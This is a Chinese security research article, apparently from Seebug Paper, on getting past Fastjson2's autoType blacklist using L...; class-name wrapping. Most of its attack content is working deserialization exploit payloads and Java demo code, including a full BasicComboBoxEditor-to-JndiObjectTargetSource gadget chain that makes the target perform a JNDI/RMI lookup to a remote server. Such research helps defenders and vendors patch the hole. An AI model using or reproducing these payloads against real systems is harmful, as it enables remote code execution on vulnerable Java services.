作者:lhy
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
Fastjson1在调用 JSON.parse
的时候出现过一些列的问题。早在 FastJson1.2.25-1.2.41
版本中就存在通过 L
与;
绕过的利用方法。
当时比较盛行的一种利用方式为
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}
Fastjson在解析类名时会删除开头的 L
和 结尾的 ;
。
最近笔者在看Fastjson2的时候与Fastjson1的黑名单进行了一些比较,也发现了一些问题。
Fastjosn2测试版本
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.38</version>
</dependency>
首先检查一下在Fastjson2中 com/alibaba/fastjson2/reader/ObjectReaderProvider.java#checkAutoType
都做了什么。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, long features) {
if (typeName == null || typeName.isEmpty()) {
return null;
}
...
int typeNameLength = typeName.length();
// 类名长度检测
if (typeNameLength >= 192) {
throw new JSONException("autoType is not support. " + typeName);
}
// 不允许第一个字符为 [
if (typeName.charAt(0) == '[') {
String componentTypeName = typeName.substring(1);
checkAutoType(componentTypeName, null, features); // blacklist check for componentType
}
if (expectClass != null && expectClass.getName().equals(typeName)) {
afterAutoType(typeName, expectClass);
return expectClass;
}
boolean autoTypeSupport = (features & JSONReader.Feature.SupportAutoType.mask) != 0;
Class<?> clazz;
...
clazz = loadClass(typeName);
if (clazz != null) {
// 判断是否为 QLDataSourceOrRowSet 类型的类
if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
afterAutoType(typeName, clazz);
return clazz;
} else {
if ((features & JSONReader.Feature.IgnoreAutoTypeNotMatch.mask) != 0) {
return expectClass;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
afterAutoType(typeName, clazz);
return clazz;
}
眼尖的师傅一眼就可以发现了,在此时的版本中 Fastjson2 并没有对 L
和 ;
的场景进行处理。也就是我们在解析字符的时候,是可以传入 Lxxxx;
的。那么此时Fastjson2能否正确解析类呢。
然后我们跟进一下 com/alibaba/fastjson2/util/TypeUtils.java#loadClass
函数的处理流程。
public static Class loadClass(String className) {
if (className.length() >= 192) {
return null;
}
...
Class mapping = TYPE_MAPPINGS.get(className);
if (mapping != null) {
return mapping;
}
if (className.startsWith("java.util.ImmutableCollections$")) {
try {
return Class.forName(className);
} catch (ClassNotFoundException e) {
return CLASS_UNMODIFIABLE_LIST;
}
}
// 可以看到此时 Fastjson2 是对 `Lxxx;` 进行了处理的
if (className.charAt(0) == 'L' && className.charAt(className.length() - 1) == ';') {
className = className.substring(1, className.length() - 1);
}
if (className.charAt(0) == '[' || className.endsWith("[]")) {
String itemClassName = className.charAt(0) == '[' ? className.substring(1) : className.substring(0, className.length() - 2);
Class itemClass = loadClass(itemClassName);
if (itemClass == null) {
throw new JSONException("load class error " + className);
}
return Array.newInstance(itemClass, 0).getClass();
}
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
try {
return contextClassLoader.loadClass(className);
} catch (ClassNotFoundException ignored) {
}
}
try {
return JSON.class.getClassLoader().loadClass(className);
} catch (ClassNotFoundException ignored) {
}
try {
return Class.forName(className);
} catch (ClassNotFoundException ignored) {
}
return null;
}
看起来我们可以用Fastjson1中的一些名单进行bypass了。
在上一节中说道,Fastjson2在解析字符串时,可以通过使用 Lxxx;
的形式绕过他的黑名单限制,但是除了对于类名的判断,Fastjson2还有一些其他的黑名单检测方式,比如在 checkAutoType
时判断了一个类是否为 DataSource
相关的类。
让我们具体调试一下。
首先利用之前的poc尝试一下:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}
可以看到此时会去加载类了。
由于Fastjson2会对这个类名进行处理,所以不用担心找不到这个类。
但是接下来Fastjson2还会进行进一步的判断。
此时是无法过这个校验的。也就是这个我们尝试的poc在Fastjson2中无法使用。
要找到可以利用的POC也简单,只需要找一个不是 Datasource
相关的类即可。如下:
public static void main(String[] args) {
String poc = "{\"@type\":\"Lorg.apache.xbean.propertyeditor.JndiConverter;\",\"asText\":\"rmi://127.0.0.1:8089/test\"}";
Object obj = JSON.parse(poc, JSONReader.Feature.UseNativeObject,
JSONReader.Feature.SupportAutoType);
System.out.println(obj);
}
在使用上面的这个POC时,需要一个依赖。
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.15</version>
</dependency>
为了继续深入找到一个被更加广泛引入的利用类,笔者对spring进行了进一步查找,发现在Spring中存在这么一个类:org.springframework.jndi.JndiObjectTargetSource
,这个类有一个 getTarget
方法,可以触发JNDI的调用。下面是一个最小调用的demo。
String poc3 = "{\n" +
" \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
" \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
" \"jndiTemplate\": {\n" +
" \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
" \"environment\": {\n" +
" \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
" }\n" +
" }\n" +
"}";
JndiObjectTargetSource o = (JndiObjectTargetSource) JSON.parse(poc3, JSONReader.Feature.SupportAutoType);
o.getTarget();
然后可以看到,当parse出该对象后,如果触发到了 getTarget
方法,就会调用到 JNDI的查询。
为了让这个利用更加好用,还需要想一个办法让他能自动调用到 JndiObjectTargetSource
对象的 getTarget
方法。
熟系 Fastjson1的师傅可能会想到通过 json path
的方式,可以直接取target进行触发,但是这条路在 Fastjson2中是行不通的。
因此为了调用到 getTarget
方法,笔者这里想到了一条调用路径为:setXXX -> toString -> getTarget
。在这里直接给出一条可以用的链。
{
"@type":"javax.swing.plaf.basic.BasicComboBoxEditor",
"item":{
"@type":"com.alibaba.fastjson2.JSONObject",
"a": {
"@type":"Lorg.springframework.jndi.JndiObjectTargetSource;",
"jndiName": "rmi://127.0.0.1:12312/Exp",
"jndiTemplate": {
"@type":"org.springframework.jndi.JndiTemplate",
"environment": {
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
}
}
}
}
Fastjson2 在构造 BasicComboBoxEditor
对象时,会调用它的 setItem
方法,而 setItem
方法会调用到 JSONObject
的 toString
方法,然后会进一步调用到 JndiObjectTargetSource
的 getTarget
方法。有兴趣的师傅可以自行调试一下。
完整利用demo如下。
String poc = "{\n" +
" \"@type\":\"javax.swing.plaf.basic.BasicComboBoxEditor\",\n" +
" \"item\":{\n" +
" \"@type\":\"com.alibaba.fastjson2.JSONObject\",\n" +
" \"a\": {\n" +
" \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
" \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
" \"jndiTemplate\": {\n" +
" \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
" \"environment\": {\n" +
" \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
Object o = (Object) JSON.parse(poc, JSONReader.Feature.SupportAutoType);
其实这种bypass也不是Fastjson2全版本通杀的,原因在于只有 2.0.14
版本开始,loadClass 才会对 L
和 ;
进行处理。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3017/